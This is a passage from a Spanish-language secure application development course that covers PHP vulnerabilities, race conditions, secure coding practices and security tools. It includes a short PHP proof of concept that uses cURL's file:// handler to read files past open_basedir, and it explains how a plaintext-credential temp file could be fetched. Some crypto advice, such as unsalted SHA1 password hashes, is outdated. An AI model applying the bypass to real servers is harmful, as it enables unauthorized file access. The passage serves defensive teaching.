Las funciones cURL en PHP4 y PHP5 sobrepasan la proteccion open_basedir, directiva que limita elpath absoluto al que un usuario puede tener acceso, de tal forma que se puede navegar a travésdel sistema de ficheros sin ninguna limitación, más que la inherente a los permisos del mismo.

http://www.kernelpanik.org frame at kernelpanik.org 30

Page 31: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

Por ejemplo, configurando "open_basedir" en php.ini a "/var/www/html" cualquiera puede leer"/etc/parla" usando funciones de cURL.

== Demostración del concepto (curl.php)<?php$ch = curl_init("file:///etc/parla");$file=curl_exec($ch);echo $file?>

$ links ­dump http://localhost/curltest/curl.phpdon't read please!

La solución a este problema pasa por la existencia de una única función que implemente lafuncionalidad y sea siempre usada en toda llamada, así como controlar las extensiones de laaplicación y su respeto por dicha funcionalidad.

2.3.2.- Condiciones de carrera

Una condición de carrera se puede definir como aquel comportamiento anómalo producido por lainteracción concurrente de varios procesos dentro de un flujo lógico de ejecución. Dicho así puedeque suene muy extraño, pero las condiciones de carrera, aquí, en seguridad, o en una asignaturade programación concurrente, tienen el mismo componente: el acceso simultaneo a un recurso ysu posible modificación.

Las condiciones de carrera, a diferencia de otras técnicas, no se fundamentan en la entrada osalida de datos adulterados por parte del usuario, sino de una presunción por parte deldesarrollador en la que su software se ejecutará en un entorno monotarea y siguiendo un ordenlógico idéntico al del código original. Esta presunción es del todo incorrecta, nada impide, en unsistema operativo multitarea, como son los actuales, que mientras mi código se está ejecutando,otros se ejecuten, y puedan producirse condiciones de carrera. Veámos un sencillo ejemplopresente en GreyMatter v1.3.

Cuando GreyMatter reconstruye la sección "main entry pages", por ejemplo: un template hacambiado o un usuario ha presionado el botón rebuild, un fichero temporal es creado. El fichero eseliminado una vez que el proceso ha concluido.

El fichero es creado con el nombre "gm-token.cgi", y con un formato como:

$ cat gm­token.cgigmXXXXXXXXXX ( donde X son números )nombre_de_usuariopassword_en_texto_plano

El fichero es creado en el directorio "archives/", con permisos 0666 . Si el directorio "archives/" noestá dentro de "/cgi-bin", o no está en un directorio con permisos cgi (ScriptAlias/+ExecCGI)cualquiera puede recuperar este fichero con un GET sobre "archives/gm-token.cgi".

http://www.kernelpanik.org frame at kernelpanik.org 31

Page 32: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

La solución a este tipo de errores para por la creación de ficheros temporales con nombrestotalmente aleatorios. Comprobar que los ficheros que queremos abrir no existen, y en caso de queexistan, no son enlaces simbólicos a otros ficheros, así como abrirlos en modo exclusivo paraescritura, y con los permisos más restrictivos posibles y en general diseñar pensando que nuestraaplicación no funcionará en un entorno aislado, sino en un entorno multiusuario y multitarea.

2.3.3.- Errores en el mecanismo de autenticación

Bajo este epígrafe se agrupa un problema al que no vamos a dedicar excesivas líneas, porque bienya ha sido tratado con errores concretos: XSS, SQL Injection. O bien pertenece al campo deldiseño lógico. En este último campo, podemos encontrar desde identificadores de sesiónsecuenciales, hasta inexistencia de mecanismos de autenticación, pasando por un amplio surtidode debilidades como limitación de longitud de la clave, uso de sistemas de recuperación decontraseñas ineficientes, por citar algunos.

La solución a estos problemas pasa por no cometer los errores vistos con anterioridad en lacodificación del mismo, a la par que diseñar correctamente aquellos que implementemos.

2.3.4.- Errores en el mecanismo de cifrado

Este será el último error que tratemos y bajo él agrupamos una serie de errores al implementarsistemas de cifrado. Uso de algoritmos débiles como pueden ser RC4 o DES. Almacenaje decontraseñas en texto plano y no de los hashes md5 o sha1 de las mismas, incluso sha-256/512 encaso de querer ampliar el espacio de colisiones. Almacenaje de las contraseñas de cifrado dentrode la aplicación. O uso de algoritmos de cifrado propietario cuya seguridad no ha sido contrastada.

La solución a este problema pasa por cifrar haciendo uso de algoritmos de probada calidad comoblowfish o twofish para el cifrado simético, RSA o DH para el cifrado asimétrico y SHA1 o SHA-256para la generación de Hashes. Almacenar siempre los hashes de las contraseñas y nunca estas.Nunca usar algoritmos propietarios de dudosa calidad. Y sobre todo nunca contener la password decifrado en la propia aplicación, el usuario debe ser el que la introduzca, no el sistema.

http://www.kernelpanik.org frame at kernelpanik.org 32

Page 33: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

Desarrollo Seguro de Aplicaciones

http://www.kernelpanik.org frame at kernelpanik.org 33

Page 34: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

Hasta este momento hemos visto un amplio surtido de errores, y hemos conseguido dar solucionespuntuales a cada uno de ellos. Es momento por tanto de abstraernos al siguiente nivel y ver enlíneas generales y de forma sencilla una serie de técnicas y consideraciones que todo desarrolladordebe tener en cuenta a la hora de afrontar un desarrollo de software que quiera alcanzar unosmínimos objetivos de seguridad.

Antes de entrar en técnicas concretas, daremos un rápido vistazo a Common Criteria, comoreferente dentro de la definición de requerimientos y medidas que garanticen la seguridad de unsoftware. No obstante, un estudio en profundidad queda fuera de los contenidos de este curso,prefiriendo dar unas ligeras pinceladas sobre ellos, para pasar a un ámbito mucho más práctico yconcreto que permita un desarrollo seguro de aplicaciones.

3.1.- Técnicas para una codificación segura.

Identificar los puntos críticos en una aplicación, minimizar el número de ellos, controlar el flujo deejecución, programar bajo unos criterios conservativos, realizar un desarrollo bajo técnicas deverificación exhaustivas, así como adaptar ideas existentes actualmente en la ingeniería delsoftware al marco de la programación segura son las ideas sobre las que girará este epígrafe.

3.1.1- Puntos críticos en la seguridad de una aplicación

Analizar de forma pormenorizada los diferentes tipos de errores existentes en las aplicaciones hasido el paso previo para perminitirnos extraer una serie de patrones comunes que nos permitagenerar una abstracción para conocer de antemano cuales son los puntos en los que una aplicaciónpuede fallar.

Partiendo de la idea que el código por si mismo no falla, al menos desde el momento que esecódigo satisface unos requerimientos de corrección sintáctica y corrección funcional mínimos. Portanto siempre serán acciones realizadas sobre los datos las que llevaran el software a situacionesque puedan desembocar en un fallo de seguridad. Tres son las acciones que pueden llevar a él:entrada de datos, salida de datos y modificación de los mismos. A continuación las veremos una auna.

3.1.1.1.- Entrada de datos

La entrada de datos es el primer punto crítico en la seguridad de una aplicación. Un incorrectocontrol en los datos suministrados por el usuario provoca una variada serie de problemas para laseguridad: desbordamientos de buffer, errores de formato o inyecciónes de código entre otras.

Verificar que las entradas de los usuarios satisfacen de forma lógica una serie de comprobacionessobre ellos: longitud o carácteres inapropiados entre otros, debe ser obligatorio en toda aplicaciónsegura.

http://www.kernelpanik.org frame at kernelpanik.org 34

Page 35: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

3.1.1.2.- Modificación de datos

Igual que la entrada, la modificación de los datos también produce un buen número de errores deseguridad. Esta modificación puede ser desde la concatenación de dos parámetros, al incrementoen el valor de un entero, por poner algunos ejemplos.

Verificar que la seguridad de la aplicación se mantiene consistente tras una modificación en losdatos también debe ser obligatorio en toda aplicación segura.

3.1.1.2.- Salida de datos

Por último la salida de datos, bien sea a la red por un socket, bien sea al sistema de ficherosmediante la escritura en disco, también es responsable de un buen número de problemas deseguridad: condiciones de carrera, almacenamiento sin cifrado o cross-site scripting por citaralgunos.

Verificar que la salida de datos se realiza satifaciendo de forma lógica unos criterios de seguridad:inexistencia de carácteres inapropiados, atomicidad en las operaciones de escritura o aleatoriedaden los nombres de fichero, debe ser obligatorio en toda aquella aplicación segura.

3.1.2- Medidas para una programación segura

A partir de la identificación de los puntos críticos, sumando a ello una serie de técnicas como laprogramación conservativa, medidas para el control del flujo de ejecución de una aplicación yllegando a una técnica de verificación exhaustiva, basada precisamente en la identificación depuntos críticos, formaremos un conjunto de normas y medidas que permitan codificar programasevitando los fallos de seguridad.

3.1.2.1.- Programación conservativa

Las medidas que aseguran una programación conservativa son las siguientes:

● Comprobar siempre el resultado de cualquier llamada a una función. Nuestro softwaredebe funcionar aunque se ejecute sobre circunstancias adversas: falta de espacio endisco, falta de espacio en memoria, o cualquier otro problema que pueda acontecer. Portanto comprobar el retorno de una función es primordial, así como diseñar funciones quesiempre retornen información útil, y no meros valores ininterpretables.

● Dotar al programa de un sistema de logs adecuado, que permita controlar sufuncionamiento, su estado y sus errores.

● Minimizar siempre los privilegios necesarios para la aplicación y el tiempo que hace usode estos. Optar siempre que exista por aquella estrategia que de respuesta al problemaminimizando el número de privilegios necesarios para ello.

http://www.kernelpanik.org frame at kernelpanik.org 35

Page 36: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

● Usar siempre rutas de fichero absolutas y fijar un directorio de trabajo que actue a modode límite en el árbol de directorio, impidiendo el descenso de la aplicación por debajo delmismo.

● Ser siempre conscientes de la ejecución del proceso en un entorno multiusuario ymultitarea. Evitar las condiciones de carrera. En entornos de ejecución web, percatarnosde que podrán existir múltiples instancias del proceso ejecutándose al mismo tiempo detal forma que los recursos y el acceso a los mismos deben tener en cuenta esteelemento.

● Implementar en aquellos casos en los que sea necesarios mecanismos de control decarga, que permitan limitar el número de instancias concurrentes, el tiempo de CPU, elespacio en disco, el espacio en memoria, etc.

● Forzar la compilación/interpretación con el máximo nivel de detalle en advertencias yerrores. Así como usar siempre que sea posible una herramienta de verificación formaldel código.

● Documentar de forma detallada el código. Esto también afecta a documentar solucionespoco elegantes, temporales, parches momentáneos, y otras miserias que el programadorcomete y no documenta.

● Abortar la ejecución del programa ante una situación irresoluble. Cuando se produzcadicha situación grabar un log detallado y terminar la ejecución de forma limpia: cerrandodescriptores, borrando ficheros temporales, etc.

● Chequear la consistencia al inicio y a la finalización de la ejecución. Este chequeoincluye: existencia de ficheros de configuración, existencia de paths.

http://www.kernelpanik.org frame at kernelpanik.org 36

Page 37: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

3.1.2.2.- Control del flujo de ejecución de la aplicación

El contenido de este epígrafe está vinculado al desarrollo de aplicaciones web. En una aplicaciónejecutable convencional, el flujo de ejecución está marcado por el desarrollador. Sin embargo enuna aplicación web el flujo de ejecución puede ser modificado por la simple llamada a cada uno delos ficheros contenidos en el servidor web.

Esta posibilidad genera una situación del todo indeseable, es decir, que la aplicación pueda serinicializada por un usuario en múltiples puntos hace que sea necesario un control de privilegios, deacceso y de estado en cada uno de los ficheros que la componen. Esto, además de duplicar losesfuerzos, hace que el mínimo olvido de estas comprobaciones en un fichero haga ese fichero unpontencial punto de entrada inseguro a la aplicación web, que pueda explotar variables noinicializadas, parámetros no chequeados, etc.

El correcto control en el flujo de ejecución debe conseguirse mediante un desarrollo MVC ( Modelo-Vista-Controlador ), en el cual el único fichero accesible sea el correspondiente al controlador. Elresto de ficheros deben ser protegidos bien haciendo uso de los propios sistemas de protección delservidor web, bien con algún método implementado en la aplicación como definición de constantesde ejecución en el controlador, y su comprobación en cada uno de los ficheros del modelo/vista.

http://www.kernelpanik.org frame at kernelpanik.org 37

Page 38: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

3.1.2.3.- Verificación exhaustiva: programación por celdas

La última técnica que analizaremos será la verificación exhaustiva del código. Esta técnica, adiferencia de otras técnicas de verificación propuestas por ejemplo en metodologías como SPSMMno fundamenta su utilidad en someter a una aplicación completa a una batería de pruebas sobreparámetros de entrada/salida para obtener una posible lista de vulnerabilidades, sino de verificarel código de forma exhaustiva durante el proceso de desarrollo en busca de los puntos críticos parala seguridad, es decir, aquellas en las que se produzca una entrada, modificación o salida de datos.

Esta verificación exhaustiva es útil siempre y cuando se alcance un compromiso entredesarrolladores de verificar diáriamente el código producido en busca de puntos críticos ygarantizar la seguridad de los mismos. La lógica subyacente es que la concatenación de zonasverificadas y de puntos críticos en las que la seguridad ha sido garantizada originará un códigolibre de errores. Esta técnica pasará a ser impracticable cuando se quiera verificar de formaexhaustiva una aplicación ya desarrollada.

3.1.3- Ingeniería del software seguro

La ingeniería del software busca modelos de desarrollo unificados que permitan analizar y diseñarsoluciones estandarizadas. No obstante, de esta idea también podemos extraer soluciones queincrementen la seguridad de nuestras aplicaciones.

La primera idea es la utilización de componentes. Los componentes son una herramienta deprobada eficacia que permiten una abstracción sobre determinadas tareas a la hora de desarrollaruna aplicación, así como la reutilización de los mismos tantas ocasiones como sea necesario. Undesarrollo basado en componentes de probada calidad asegurará no sólo un menor tiempo dedesarrollo para acciones ya creadas con anterioridad, sino un mayor tiempo para pruebas yverificaciones. Pero esta no es la única ventaja. El uso de componentes de probada calidad, con unciclo de vida amplio y usados en numerosos proyectos, garantiza que la seguridad de los mismoshaya sido probada y revisada con anterioridad. Paralelamente a la idea del uso de componentes,está la de refactorizar componentes para incrementar tanto funcionalidad como seguridad.

Una vez hemos entrado en el apartado de la refactorización. Hay que garantizar que esta no afectaúnicamente a la funcionalidad del software. Es decir, que no se refactoriza código únicamentebuscando la satisfacción de los requisitos funcionales pactados con el cliente, sino que estarefactorización afecta también a la seguridad del mismo.

Por último, y extrayéndola de la programación extrema (XP), la programación por parejas, en laque es la pareja quien realiza la verificación exhaustiva del código generado por la otra,incrementa la velocidad y eficacia del proceso de veficación.

http://www.kernelpanik.org frame at kernelpanik.org 38

Page 39: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

Herramientas para la seguridad

http://www.kernelpanik.org frame at kernelpanik.org 39

Page 40: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

4.1.- Herramientas de búsqueda y chequeo

● RATS: Rough Auditing Tool for Security

Herramienta de auditoria de código para el entorno win32, desarrollada por la empresasecuresoftware.

URL: http://www.securesoftware.com

● SPLINT

Implementación de LINT desarrollada por la univerisid de Virginia y liberada como GNU/GPL. Estautilidad es incluida de forma standard en la mayoría de las distribuciones GNU/Linux actuales.

URL: http://www.splint.org

4.2.- Herramientas antiexplotación

Dentro de este grupo de herramientas entran soluciones como Libsafe, Stackguard o Stackshield,ambas soluciones en tiempo de compilación, y basadas en la modificación de la libc, bien paraasegurar las funciones contenidas en ella, bien para trabajar con técnicas de canary-stack, o bienpara usar una imagen espejo de la pila en la que chequear posibles modificaciones de la direcciónde retorno.

Paralelamente existen otras soluciones como exec-shield, W^X o GRSec, que implementansoluciones antiejecución de pila y heap, así como randomización del espacio de direcciones para elenlazado de librerías dinámicas.

4.3.- Mecanismos de prevención y detección de intrusiones

Bajo este epígrafe agrupamos a los IDS/nIDS/wIDS, es decir, a los sistemas de detección deintrusos, cuya misión es la monitorización de la red en busca de patrones de comportamientoanormales. Así como los firewall a nivel de aplicación cuya misión es la monitorización de lasconexiones al servidor web en busca de posibles ataques a este.

http://www.kernelpanik.org frame at kernelpanik.org 40

Page 41: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

Bibliografía

● Secure Programming for Linux and Unix HOWTO. David A. Wheeler. 2003

● SPSMM 0.5.1. Victor A. Rodriguez. 2002

● SQL Injection White Paper. SPI Labs. 2002

● Smashing the stack for fun and profit. Aleph One. 1997

● Kernelpanik Labs. Varios autores. 2002-2005.

● Phrack.org. Varios autores. 1985-2005.

● Common Criteria. NIST. 1999

● Linux Security HOWTO. 1999.

http://www.kernelpanik.org frame at kernelpanik.org 41